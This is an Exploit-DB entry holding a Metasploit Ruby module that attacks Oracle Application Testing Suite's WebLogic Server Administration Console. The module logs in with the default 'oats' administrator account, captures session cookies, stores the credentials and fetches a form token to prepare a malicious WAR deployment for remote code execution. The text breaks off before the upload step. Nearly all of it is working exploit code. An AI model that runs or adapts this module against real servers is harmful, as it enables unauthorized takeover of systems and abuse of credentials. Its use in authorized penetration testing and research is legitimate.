Exploit-DB #46942
Description: Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)
Type: remote
Platform: java
Date: 2019-05-29
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',
      'Description'    => %q{
        This module abuses a feature in WebLogic Server's Administration Console to install
        a malicious Java application in order to gain remote code execution. Authentication
        is required, however by default, Oracle ships with a "oats" account that you could
        log in with, which grants you administrator access.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Steven Seeley', # Used the trick and told me about it
          'sinn3r'         # Metasploit module
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          [ 'WebLogic Server Administration Console 12 or prior', { } ]
        ],
      'References'     =>
        [
          # The CVE description matches what this exploit is doing, but it was for version
          # 9.0 and 9.1. We are not super sure whether this is the right CVE or not.
          # ['CVE', '2007-2699']
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8088
        },
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 13 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
        OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),
        OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])
      ])

    register_advanced_options(
      [
        OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])
      ])
  end

  class LoginSpec
    attr_accessor :admin_console_session
  end

  def login_spec
    @login_spec ||= LoginSpec.new
  end

  class OatsWarPayload < MetasploitModule
    attr_reader :name
    attr_reader :war

    def initialize(payload)
      @name = [Faker::App.name, Rex::Text.rand_name].sample
      @war = payload.encoded_war(app_name: name).to_s
    end
  end

  def default_oats_path
    datastore['DefaultOatsPath']
  end

  def war_payload
    @war_payload ||= OatsWarPayload.new(payload)
  end

  def set_frsc
    value = get_deploy_frsc
    @frsc = value
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
    })

    if res && res.body.include?('Oracle WebLogic Server Administration Console')
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def set_admin_console_session(res)
    cookie = res.get_cookies
    admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first
    vprint_status("Token for console session is: #{admin_console_session}")
    login_spec.admin_console_session = admin_console_session
  end

  def is_logged_in?(res)
    html = res.get_html_document
    a_element = html.at('a')
    if a_element.respond_to?(:attributes) && a_element.attributes['href']
      link = a_element.attributes['href'].value
      return URI(link).request_uri == '/console'
    end

    false
  end

  def do_login
    uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    fail_with(Failure::Unknown, 'No response from server') unless res
    set_admin_console_session(res)

    uri = normalize_uri(target_uri.path, 'console', 'j_security_check')
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => uri,
      'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
      'vars_post' =>
        {
          'j_username'           => datastore['OATSUSERNAME'],
          'j_password'           => datastore['OATSPASSWORD'],
          'j_character_encoding' => 'UTF-8'
        }
    })

    fail_with(Failure::Unknown, 'No response while trying to log in') unless res
    fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)
    store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
    set_admin_console_session(res)
  end

  def get_deploy_frsc
    # First we are just going through the pages in a specific order to get the FRSC value
    # we need to prepare uploading the WAR file.
    res = nil
    requests =
      [
        { path: 'console/', vars: {} },
        { path: 'console/console.portal', vars: {'_nfpb'=>"true"} },
        { path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }
      ]

    requests.each do |req|
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(target_uri.path, req[:path]),
        'cookie'   => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
        'vars_get' => req[:vars]
      })

      fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res
    end

    html = res.get_html_document
    hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')
    frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil
    frsc_attr ? frsc_attr.value : ''